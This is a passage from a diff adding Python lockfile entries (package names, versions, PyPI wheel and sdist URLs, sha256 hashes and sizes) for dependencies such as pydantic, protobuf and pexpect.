+    { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" },
+    { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" },
+    { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/df/de/0d2b39fb4af88a0258f3bac87dfcbb48e73fbdea4a2ed0e2213f9a4c2f9a/packaging-26.1.tar.gz", hash = "sha256:f042152b681c4bfac5cae2742a55e103d27ab2ec0f3d88037136b6bfe7c9c5de", size = 215519, upload-time = "2026-04-14T21:12:49.362Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7a/c2/920ef838e2f0028c8262f16101ec09ebd5969864e5a64c4c05fad0617c56/packaging-26.1-py3-none-any.whl", hash = "sha256:5d9c0669c6285e491e0ced2eee587eaf67b670d94a19e94e3984a481aba6802f", size = 95831, upload-time = "2026-04-14T21:12:47.56Z" },
+]
+
+[[package]]
+name = "pathspec"
+version = "1.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5a/82/42f767fc1c1143d6fd36efb827202a2d997a375e160a71eb2888a925aac1/pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a", size = 135180, upload-time = "2026-04-27T01:46:08.907Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", size = 57328, upload-time = "2026-04-27T01:46:07.06Z" },
+]
+
+[[package]]
+name = "pexpect"
+version = "4.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "ptyprocess" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" },
+]
+
+[[package]]
+name = "platformdirs"
+version = "4.9.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/9f/4a/0883b8e3802965322523f0b200ecf33d31f10991d0401162f4b23c698b42/platformdirs-4.9.6.tar.gz", hash = "sha256:3bfa75b0ad0db84096ae777218481852c0ebc6c727b3168c1b9e0118e458cf0a", size = 29400, upload-time = "2026-04-09T00:04:10.812Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/75/a6/a0a304dc33b49145b21f4808d763822111e67d1c3a32b524a1baf947b6e1/platformdirs-4.9.6-py3-none-any.whl", hash = "sha256:e61adb1d5e5cb3441b4b7710bea7e4c12250ca49439228cc1021c00dcfac0917", size = 21348, upload-time = "2026-04-09T00:04:09.463Z" },
+]
+
+[[package]]
+name = "pluggy"
+version = "1.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
+]
+
+[[package]]
+name = "protobuf"
+version = "6.33.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/66/70/e908e9c5e52ef7c3a6c7902c9dfbb34c7e29c25d2f81ade3856445fd5c94/protobuf-6.33.6.tar.gz", hash = "sha256:a6768d25248312c297558af96a9f9c929e8c4cee0659cb07e780731095f38135", size = 444531, upload-time = "2026-03-18T19:05:00.988Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fc/9f/2f509339e89cfa6f6a4c4ff50438db9ca488dec341f7e454adad60150b00/protobuf-6.33.6-cp310-abi3-win32.whl", hash = "sha256:7d29d9b65f8afef196f8334e80d6bc1d5d4adedb449971fefd3723824e6e77d3", size = 425739, upload-time = "2026-03-18T19:04:48.373Z" },
+    { url = "https://files.pythonhosted.org/packages/76/5d/683efcd4798e0030c1bab27374fd13a89f7c2515fb1f3123efdfaa5eab57/protobuf-6.33.6-cp310-abi3-win_amd64.whl", hash = "sha256:0cd27b587afca21b7cfa59a74dcbd48a50f0a6400cfb59391340ad729d91d326", size = 437089, upload-time = "2026-03-18T19:04:50.381Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/01/a3c3ed5cd186f39e7880f8303cc51385a198a81469d53d0fdecf1f64d929/protobuf-6.33.6-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:9720e6961b251bde64edfdab7d500725a2af5280f3f4c87e57c0208376aa8c3a", size = 427737, upload-time = "2026-03-18T19:04:51.866Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/90/b3c01fdec7d2f627b3a6884243ba328c1217ed2d978def5c12dc50d328a3/protobuf-6.33.6-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:e2afbae9b8e1825e3529f88d514754e094278bb95eadc0e199751cdd9a2e82a2", size = 324610, upload-time = "2026-03-18T19:04:53.096Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/ca/25afc144934014700c52e05103c2421997482d561f3101ff352e1292fb81/protobuf-6.33.6-cp39-abi3-manylinux2014_s390x.whl", hash = "sha256:c96c37eec15086b79762ed265d59ab204dabc53056e3443e702d2681f4b39ce3", size = 339381, upload-time = "2026-03-18T19:04:54.616Z" },
+    { url = "https://files.pythonhosted.org/packages/16/92/d1e32e3e0d894fe00b15ce28ad4944ab692713f2e7f0a99787405e43533a/protobuf-6.33.6-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:e9db7e292e0ab79dd108d7f1a94fe31601ce1ee3f7b79e0692043423020b0593", size = 323436, upload-time = "2026-03-18T19:04:55.768Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/72/02445137af02769918a93807b2b7890047c32bfb9f90371cbc12688819eb/protobuf-6.33.6-py3-none-any.whl", hash = "sha256:77179e006c476e69bf8e8ce866640091ec42e1beb80b213c3900006ecfba6901", size = 170656, upload-time = "2026-03-18T19:04:59.826Z" },
+]
+
+[[package]]
+name = "ptyprocess"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.13.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-types", marker = "python_full_version >= '3.11'" },
+    { name = "pydantic-core", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+    { name = "typing-inspection", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/09/e5/06d23afac9973109d1e3c8ad38e1547a12e860610e327c05ee686827dc37/pydantic-2.13.2.tar.gz", hash = "sha256:b418196607e61081c3226dcd4f0672f2a194828abb9109e9cfb84026564df2d1", size = 843836, upload-time = "2026-04-17T09:31:59.636Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/77/ca/b45c378e6e8d0b90577288b533e04e95b7afd61bb1d51b6c263176435489/pydantic-2.13.2-py3-none-any.whl", hash = "sha256:a525087f4c03d7e7456a3de89b64cd693d2229933bb1068b9af6befd5563694e", size = 471947, upload-time = "2026-04-17T09:31:57.541Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.46.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/43/bb/4742f05b739b2478459bb16fa8470549518c802e06ddcf3f106c5081315e/pydantic_core-2.46.2.tar.gz", hash = "sha256:37bb079f9ee3f1a519392b73fda2a96379b31f2013c6b467fe693e7f2987f596", size = 471269, upload-time = "2026-04-17T09:10:07.017Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a4/f2/98f37e836c5ba0335432768e0d8645e6f50a3c838b48a74d9256256784fc/pydantic_core-2.46.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:160ef93541f4f84e3e5068e6c1f64d8fd6f57586e5853d609b467d3333f8146a", size = 2108178, upload-time = "2026-04-17T09:10:24.689Z" },
+    { url = "https://files.pythonhosted.org/packages/55/69/975458de8e5453322cfc57d6c7029c3e66d9e7a4389c53ddd5ad02d5e5da/pydantic_core-2.46.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a9124b63f4f40a12a0666df57450b4c24b98407ff74349221b869ec085a5d8e", size = 1949232, upload-time = "2026-04-17T09:11:39.536Z" },
+    { url = "https://files.pythonhosted.org/packages/94/8d/938175e6e82d051ac4644765680db06571d7e106a42f760da09bd90f6525/pydantic_core-2.46.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de12004a7da7f1eb67ece37439a5a23a915636085dd042176fda362e006e6940", size = 1974741, upload-time = "2026-04-17T09:13:01.922Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/38/7329f8ac5c732bddf15f939c2add40b95170e0ecca5ef124c12def3f78ba/pydantic_core-2.46.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a070c7769fec277409ad0b3d55b2f0a3703a6f00cf5031fe93090f155bf56382", size = 2041905, upload-time = "2026-04-17T09:11:11.94Z" },
+    { url = "https://files.pythonhosted.org/packages/99/2c/47cfd069937ee5cbc0d9e18fa9795c8f80c49a6b4fc777d4cd870f2ade7b/pydantic_core-2.46.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:41d701bb34f81f0b11c724cc544b9a10b26a28f4d0d1197f2037c91225708706", size = 2222703, upload-time = "2026-04-17T09:10:31.196Z" },
+    { url = "https://files.pythonhosted.org/packages/83/b0/7ed83ca8cd92c99bcab90cf42ed953723fbc19d8a20c8c12bb68c51febc1/pydantic_core-2.46.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19631e7350b7a574fb6b6db222f4b17e8bd31803074b3307d07df62379d2b2e4", size = 2276317, upload-time = "2026-04-17T09:09:53.263Z" },
+    { url = "https://files.pythonhosted.org/packages/85/70/50b1b62990996e7916aae2852b29cbf3ecc3fdae78209eb284cd61e2c918/pydantic_core-2.46.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48b1059e4f2a6ec3e41983148eb1eec5ef9fa3a80bbc4ac0893ac76b115fe039", size = 2092152, upload-time = "2026-04-17T09:10:44.683Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/51/a062864e6b34ada7e343ad9ed29368e495620a8ef1c009b47a68b46e1634/pydantic_core-2.46.2-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:df73724fce8ad53c670358c905b37930bd7b9d92e57db640a65c53b2706eee00", size = 2118091, upload-time = "2026-04-17T09:10:05.083Z" },
+    { url = "https://files.pythonhosted.org/packages/07/e0/fcc97c4d0319615dc0b5b132b420904639652f8514e9c76482acb70ea1d4/pydantic_core-2.46.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a0891a9be0def16fb320af21a198ece052eed72bf44d73d8ff43f702bd26fd6b", size = 2174304, upload-time = "2026-04-17T09:11:00.54Z" },
+    { url = "https://files.pythonhosted.org/packages/00/52/28f53796ca74b7e3dd45938f300517f04970e985ad600d0d0f36a11378bd/pydantic_core-2.46.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:2ca790779aa1cba1329b8dc42ccebada441d9ac1d932de980183d544682c646d", size = 2181444, upload-time = "2026-04-17T09:11:45.442Z" },
+    { url = "https://files.pythonhosted.org/packages/22/49/164d5d3a7356d2607a72e77264a3b252a7c7d9362a81fc9df47bef7ae3aa/pydantic_core-2.46.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:6b865eb702c3af71cf7331919a787563ce2413f7a54ef49ec6709a01b4f22ce6", size = 2328611, upload-time = "2026-04-17T09:10:08.574Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/77/6266bb3b79c27b533e5ee02c1e3da5848872112178880cc5006a84e857ac/pydantic_core-2.46.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:631bec5f951a30a4b332b4a57d0cdd5a2c8187eb71301f966425f2e54a697855", size = 2351070, upload-time = "2026-04-17T09:13:34.92Z" },
+    { url = "https://files.pythonhosted.org/packages/10/7f/d4233852d16d8e85b034a524d8017e051a0aa4acd04c64c3a69a1a2a0ba6/pydantic_core-2.46.2-cp310-cp310-win32.whl", hash = "sha256:8cbd9d67357f3a925f2af1d44db3e8ef1ce1a293ea0add98081b072d4a12e3b4", size = 1976750, upload-time = "2026-04-17T09:13:15.537Z" },
+    { url = "https://files.pythonhosted.org/packages/70/31/d65117cf5f89d81705da5b1dcdad8efa0a0b65dbbc7f13cafbabb7d01615/pydantic_core-2.46.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd51dd16182b4bfdcefd27b39b856aa4a57b77f15b231a2d10c45391b0a02028", size = 2073989, upload-time = "2026-04-17T09:12:17.315Z" },
+    { url = "https://files.pythonhosted.org/packages/89/91/089f517a725f29084364169437833ab0ae4da4d7a6ed9d4474db7f1412e6/pydantic_core-2.46.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d8060f42db3cd204871db0afd51fef54a13fa544c4dd48cdcae2e174ef40c8ba", size = 2106218, upload-time = "2026-04-17T09:10:48.023Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/92/23858ed1b58f2a134e50c2fdd0e34ea72721ccb257e1e9346514e1ccb5b9/pydantic_core-2.46.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:73a9d2809bd8d4a7cda4d336dc996a565eb4feaaa39932f9d85a65fa18382f28", size = 1948087, upload-time = "2026-04-17T09:11:58.639Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/ac/e2240fccb4794e965817593d5a46cf5ea22f2001b73fe360b7578925b7d8/pydantic_core-2.46.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3b0a2dee92dfaabcfb93629188c3e9cf74fdfc0f22e7c369cb444a98814a1e50", size = 1972931, upload-time = "2026-04-17T09:13:13.304Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/da/3b11dab2aa15c5c8ed20a01eb7aa432a78b8e3a4713659f7e58490a020a5/pydantic_core-2.46.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3098446ba8cf774f61cb8d4008c1dba14a30426a15169cd95ac3392a461193b1", size = 2040454, upload-time = "2026-04-17T09:13:47.895Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/39/c4cf5e1f1c6c34c53c0902039c95d81dc15cdd1f03634bd1a93f33e70a72/pydantic_core-2.46.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:57c584af6c375ea3f826d8131a94cb212b3d9926eaff67117e3711bbff3a83a5", size = 2221320, upload-time = "2026-04-17T09:13:08.568Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/46/891035bc9e93538e754c3188424d24b5a69ec3ae5210fa01d483e99b3302/pydantic_core-2.46.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:547381cca999be88b4715a0ed7afa11f07fc7e53cb1883687b190d25a92c56cf", size = 2274559, upload-time = "2026-04-17T09:11:10.257Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/d0/7af0b905b3148152c159c9caf203e7ecd9b90b76389f0862e6ab0cf1b2a3/pydantic_core-2.46.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:caeed15dcb1233a5a94bc6ff37ef5393cf5b33a45e4bdfb2d6042f3d24e1cb27", size = 2089239, upload-time = "2026-04-17T09:13:06.326Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/bc/566afe02ba2de37712eece74ac7bfba322abd7916410bf90504f1b17ddad/pydantic_core-2.46.2-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:c05f53362568c75476b5c96659377a5dfd982cfbe5a5c07de5106d08a04efc4f", size = 2116182, upload-time = "2026-04-17T09:11:33.738Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/5b/3fcb3a229bbfa23b0e3c65014057af0f9d51ec7a2d9f7adb282f41ff5ac8/pydantic_core-2.46.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2643ac7eae296200dbd48762a1c852cf2cad5f5e3eba34e652053cebf03becf8", size = 2172346, upload-time = "2026-04-17T09:10:46.472Z" },
+    { url = "https://files.pythonhosted.org/packages/43/9a/baa9e3aa70ea7bbcb9db0f87162a371649ac80c03e43eb54af193390cf17/pydantic_core-2.46.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:dc4620a47c6fe6a39f89392c00833a82fc050ce90169798f78a25a8d4df03b6e", size = 2179540, upload-time = "2026-04-17T09:11:21.881Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/46/912047a5427f949c909495704b3c8b9ead9d1c66f87e96606011beab1fcb/pydantic_core-2.46.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:78cb0d2453b50bf2035f85fd0d9cfabdb98c47f9c53ddb7c23873cd83da9560b", size = 2327423, upload-time = "2026-04-17T09:13:40.291Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/bf/c5e661451dc9411c2ab88a244c1ba57644950c971486040dc200f77b69f4/pydantic_core-2.46.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f0c1cbb7d6112932cc188c6be007a5e2867005a069e47f42fe67bf5f122b0908", size = 2348652, upload-time = "2026-04-17T09:10:37.76Z" },
+    { url = "https://files.pythonhosted.org/packages/77/b3/3219e7c522af54b010cf7422dcb11cc6616a4414d1ccd628b0d3f61c6af6/pydantic_core-2.46.2-cp311-cp311-win32.whl", hash = "sha256:c1ce5b2366f85cfdbf7f0907755043707f86d09a5b1b1acebbb7bf1600d75c64", size = 1974410, upload-time = "2026-04-17T09:13:27.392Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/29/e5cfac8a74c59873dfd47d3a1477c39ad9247639a7120d3e251a9ff12417/pydantic_core-2.46.2-cp311-cp311-win_amd64.whl", hash = "sha256:f1a6197eadff5bd0bb932f12bb038d403cb75db5b0b391e70e816a647745ddaf", size = 2071158, upload-time = "2026-04-17T09:09:57.69Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/8b/b7b19b717cdb3675cb109de143f62d4dc62f5d4a0b9879b6f1ace62c6654/pydantic_core-2.46.2-cp311-cp311-win_arm64.whl", hash = "sha256:15e42885b283f87846ee79e161002c5c496ef747a73f6e47054f45a13d9035bc", size = 2043507, upload-time = "2026-04-17T09:09:51.828Z" },
+    { url = "https://files.pythonhosted.org/packages/97/ec/2fafa4c86f5d2a69372c7cddef30925fd0e370b1efaf556609c1a0196d8a/pydantic_core-2.46.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ea1ad8c89da31512fe2d249cf0638fb666925bda341901541bc5f3311c6fcc9e", size = 2101729, upload-time = "2026-04-17T09:12:30.042Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/55/be5386c2c4b49af346e8a26b748194ff25757bbb6cf544130854e997af7a/pydantic_core-2.46.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b308da17b92481e0587244631c5529e5d91d04cb2b08194825627b1eca28e21e", size = 1951546, upload-time = "2026-04-17T09:10:10.585Z" },
+    { url = "https://files.pythonhosted.org/packages/29/92/89e273a055ce440e6636c756379af35ad86da9d336a560049c3ba5e41c80/pydantic_core-2.46.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d333a50bdd814a917d8d6a7ee35ba2395d53ddaa882613bc24e54a9d8b129095", size = 1976178, upload-time = "2026-04-17T09:11:49.619Z" },
+    { url = "https://files.pythonhosted.org/packages/91/b3/e4664469cf70c0cb0f7b2f5719d64e5968bb6f38217042c2afa3d3c4ba17/pydantic_core-2.46.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1d00b99590c5bd1fabbc5d28b170923e32c1b1071b1f1de1851a4d14d89eb192", size = 2051697, upload-time = "2026-04-17T09:12:04.917Z" },
+    { url = "https://files.pythonhosted.org/packages/98/58/dbf68213ee06ce51cdd6d8c95f97980e646858c45bd96bd2dfb40433be73/pydantic_core-2.46.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9f0e686960ffe9e65066395af856ac2d52c159043144433602c50c221d81c1ba", size = 2233160, upload-time = "2026-04-17T09:12:00.956Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/d3/68092aa0ee6c60ff4de4740eb82db3d4ce338ec89b3cecb978c532472f12/pydantic_core-2.46.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d1128da41c9cb474e0a4701f9c363ec645c9d1a02229904c76bf4e0a194fde2", size = 2298398, upload-time = "2026-04-17T09:10:29.694Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/51/5d6155eb737db55b0ad354ca5f333ef009f75feb67df2d79a84bace45af6/pydantic_core-2.46.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48649cf2d8c358d79586e9fb2f8235902fcaa2d969ec1c5301f2d1873b2f8321", size = 2094058, upload-time = "2026-04-17T09:12:10.995Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/f3/eb4a986197d71319430464ff181226c95adc8f06d932189b158bae5a82f5/pydantic_core-2.46.2-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:b902f0fc7c2cf503865a05718b68147c6cd5d0a3867af38c527be574a9fa6e9d", size = 2130388, upload-time = "2026-04-17T09:12:41.159Z" },
+    { url = "https://files.pythonhosted.org/packages/56/00/44a9c4fe6d0f64b5786d6a8c649d6f0e34ba6c89b3663add1066e54451a2/pydantic_core-2.46.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e80011f808b03d1d87a8f1e76ae3da19a18eb706c823e17981dcf1fae43744fc", size = 2184245, upload-time = "2026-04-17T09:12:36.532Z" },
+    { url = "https://files.pythonhosted.org/packages/78/6b/685b98a834d5e3d1c34a1bde1627525559dd223b75075bc7490cdb24eb33/pydantic_core-2.46.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b839d5c802e31348b949b6473f8190cddbf7d47475856d8ac995a373ee16ec59", size = 2186842, upload-time = "2026-04-17T09:13:04.054Z" },
+    { url = "https://files.pythonhosted.org/packages/22/64/caa2f5a2ac8b6113adaa410ccdf31ba7f54897a6e54cd0d726fc7e780c88/pydantic_core-2.46.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:c6b1064f3f9cf9072e1d59dd2936f9f3b668bec1c37039708c9222db703c0d5b", size = 2336066, upload-time = "2026-04-17T09:12:13.006Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/f9/7d2701bf82945b5b9e7df8347be97ef6a36da2846bfe5b4afec299ffe27b/pydantic_core-2.46.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:37a68e6f2ac95578ce3c0564802404b27b24988649616e556c07e77111ed3f1d", size = 2363691, upload-time = "2026-04-17T09:13:42.972Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/65/0dab11574101522941055109419db3cc09db871643dc3fc74e2413215e5b/pydantic_core-2.46.2-cp312-cp312-win32.whl", hash = "sha256:d9ffa75a7ef4b97d6e5e205fabd4304ef01fec09e6f1bdde04b9ad1b07d20289", size = 1958801, upload-time = "2026-04-17T09:11:31.981Z" },
+    { url = "https://files.pythonhosted.org/packages/13/2b/df84baa609c676f6450b8ecad44ea59146c805e3371b7b52443c0899f989/pydantic_core-2.46.2-cp312-cp312-win_amd64.whl", hash = "sha256:0551f2d2ddb68af5a00e26497f8025c538f73ef3cb698f8e5a487042cd2792a8", size = 2072634, upload-time = "2026-04-17T09:11:02.407Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/4e/e1ce8029fc438086a946739bf9d596f70ff470aad4a8345555920618cabe/pydantic_core-2.46.2-cp312-cp312-win_arm64.whl", hash = "sha256:83aef30f106edcc21a6a4cc44b82d3169a1dbe255508db788e778f3c804d3583", size = 2026188, upload-time = "2026-04-17T09:13:11.083Z" },
+    { url = "https://files.pythonhosted.org/packages/07/2b/662e48254479a2d3450ba24b1e25061108b64339794232f503990c519144/pydantic_core-2.46.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:d26e9eea3715008a09a74585fe9becd0c67fbb145dc4df9756d597d7230a652c", size = 2101762, upload-time = "2026-04-17T09:10:13.87Z" },
+    { url = "https://files.pythonhosted.org/packages/73/ab/bafd7c7503757ccc8ec4d1911e106fe474c629443648c51a88f08b0fe91a/pydantic_core-2.46.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:48b36e3235140510dc7861f0cd58b714b1cdd3d48f75e10ce52e69866b746f10", size = 1951814, upload-time = "2026-04-17T09:12:25.934Z" },
+    { url = "https://files.pythonhosted.org/packages/92/cc/7549c2d57ba2e9a42caa5861a2d398dbe31c02c6aca783253ace59ce84f8/pydantic_core-2.46.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:36b1f99dc451f1a3981f236151465bcf995bbe712d0727c9f7b236fe228a8133", size = 1977329, upload-time = "2026-04-17T09:13:37.605Z" },
